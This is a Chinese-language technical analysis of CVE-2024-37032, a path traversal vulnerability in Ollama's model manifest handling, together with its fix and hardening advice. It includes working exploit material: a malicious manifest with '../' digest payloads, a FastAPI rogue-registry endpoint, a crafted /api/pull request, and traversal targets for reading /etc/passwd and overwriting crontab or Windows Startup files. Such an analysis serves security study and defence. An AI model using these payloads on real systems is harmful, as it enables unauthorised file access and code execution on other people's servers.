CVE-2024-37032漏洞技术剖析从路径遍历到远程代码执行的攻击链分析在开源模型部署工具Ollama的漏洞史上CVE-2024-37032提供了一个典型的研究样本——它展示了当软件在处理用户可控输入时缺乏严格的路径规范化检查如何将一个看似普通的路径遍历漏洞升级为具有远程代码执行潜力的高危安全威胁。这个漏洞的特殊性在于其攻击面同时涉及Docker镜像分发协议(OCI)的实现细节和Ollama特有的模型管理逻辑为安全研究人员提供了分析现代云原生应用安全风险的绝佳案例。1. 漏洞背景与影响范围Ollama作为本地运行大型语言模型的工具链其核心功能围绕模型文件的拉取(pull)、推送(push)和版本管理展开。在v0.1.34之前的版本中系统对模型清单文件(manifest)的处理存在致命缺陷受影响版本所有低于v0.1.34的Ollama发行版CVSS评分9.8Critical攻击复杂度低无需特殊权限或用户交互攻击面通过/api/pull和/api/push两个API端点触发漏洞本质源于对digest字段的验证缺失。在OCI镜像规范中digest本应是内容的密码学哈希值但Ollama错误地将其直接拼接为文件系统路径且未进行任何路径遍历防护。攻击者通过构造包含../../序列的恶意digest值可以突破预期的目录限制实现任意文件读写。2. 漏洞技术原理深度解析2.1 模型清单文件的处理流程Ollama遵循OCI镜像分发规范处理模型文件其核心数据结构是manifest文件JSON格式。正常的工作流程应该是客户端通过/api/pull请求模型服务端从注册表获取manifest文件解析manifest中的config.digest和layers[].digest字段根据digest值定位本地存储的模型文件漏洞出现在第3步到第4步的转换过程中。以下是存在缺陷的伪代码逻辑def process_manifest(manifest): config_digest manifest[config][digest] # 用户可控输入 config_path os.path.join(MODEL_STORE, config_digest) # 危险拼接 with open(config_path, rb) as f: # 任意文件读取 return f.read()2.2 路径遍历的利用方式攻击者通过精心构造的digest值实现目录穿越。例如设置digest为../../../../../../../../etc/passwd当这个值被拼接到基础路径时最终访问的路径将跳出模型存储目录指向系统敏感文件。下表展示了不同操作系统下的典型利用目标目标系统可利用路径示例潜在影响Linux/etc/passwd用户信息泄露Linux/root/.ssh/authorized_keys权限提升WindowsC:\Windows\System32\drivers\etc\hosts网络流量劫持2.3 升级为RCE的攻击链单纯的路径遍历要演变为远程代码执行需要满足以下条件可预测的写入路径找到服务端会加载的可执行文件位置控制文件内容确保写入的内容能被解析执行触发执行机制使服务端加载恶意文件在Ollama的上下文中攻击者可以覆盖Ollama的配置文件如config.json修改模型加载时执行的初始化脚本植入恶意动态链接库通过LD_PRELOAD机制关键突破点在于Ollama对模型存储目录的维护方式。通过组合使用/api/pull和/api/push攻击者可以构造恶意manifest文件并通过pull请求上传利用push操作将篡改后的模型写入存储库触发模型重新加载执行恶意代码3. 漏洞利用实战分析3.1 环境搭建与POC验证搭建漏洞环境需要特定版本的Ollama服务docker run -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33典型的攻击过程涉及以下步骤启动恶意注册表服务器模拟模型仓库构造包含路径遍历payload的manifest文件通过Ollama API触发模型拉取操作以下是恶意manifest的关键部分{ config: { digest: ../../../../../../../../etc/passwd, mediaType: application/vnd.docker.container.image.v1json, size: 10 }, layers: [ { digest: ../../../../../../../../tmp/evil, mediaType: application/vnd.ollama.image.license, size: 10 } ] }3.2 利用代码关键逻辑攻击脚本的核心是模拟OCI注册表的行为。使用FastAPI可以快速搭建恶意服务器app.get(/v2/rogue/model/manifests/latest) async def fake_manifests(): return { config: { digest: ../../../../../../../../etc/passwd, mediaType: application/vnd.docker.container.image.v1json, size: 10 }, layers: [ { digest: ../../../../../../../../tmp/evil, mediaType: application/vnd.ollama.image.license, size: 10 } ] }触发漏洞的HTTP请求示例POST /api/pull HTTP/1.1 Host: vulnerable-host:11434 Content-Type: application/json {name: attacker-server/rogue/model, insecure: true}3.3 高级利用技巧要实现真正的RCE而不仅仅是文件读取攻击者需要多阶段写入先写入一个可控脚本文件路径预测确定服务端会加载的脚本位置触发机制通过正常API调用触发脚本执行例如在Linux系统上可以尝试覆盖crontab文件../../../../../../../../var/spool/cron/root或者在Windows系统上覆盖启动项../../../../../../../../ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/evil.bat4. 防御措施与修复方案4.1 官方修复方案Ollama在v0.1.34中通过以下方式修复了该漏洞路径规范化对所有digest值进行规范化处理目录限制确保最终路径不会逃逸模型存储目录输入验证拒绝包含路径遍历序列的digest修复后的关键安全检查逻辑func validateDigest(digest string) error { if strings.Contains(digest, ..) { return errors.New(invalid path traversal attempt) } cleanPath : filepath.Clean(filepath.Join(baseDir, digest)) if !strings.HasPrefix(cleanPath, baseDir) { return errors.New(path traversal detected) } return nil }4.2 纵深防御建议对于无法立即升级的系统可采取以下缓解措施网络隔离限制Ollama服务的网络访问文件监控监控模型存储目录的异常变更权限控制以非root用户运行Ollama服务安全配置示例# docker-compose.yml中的安全配置 services: ollama: user: 1000:1000 read_only: true security_opt: - no-new-privileges:true volumes: - ./ollama-data:/root/.ollama:ro4.3 安全开发经验从该漏洞中可以汲取以下安全开发经验永远不信任用户输入即使像digest这种应该是哈希值的字段也需要验证使用安全的路径拼接避免简单的字符串拼接使用filepath.Join等安全方法最小权限原则服务应运行在受限用户上下文深度防御在多个层次实施安全检查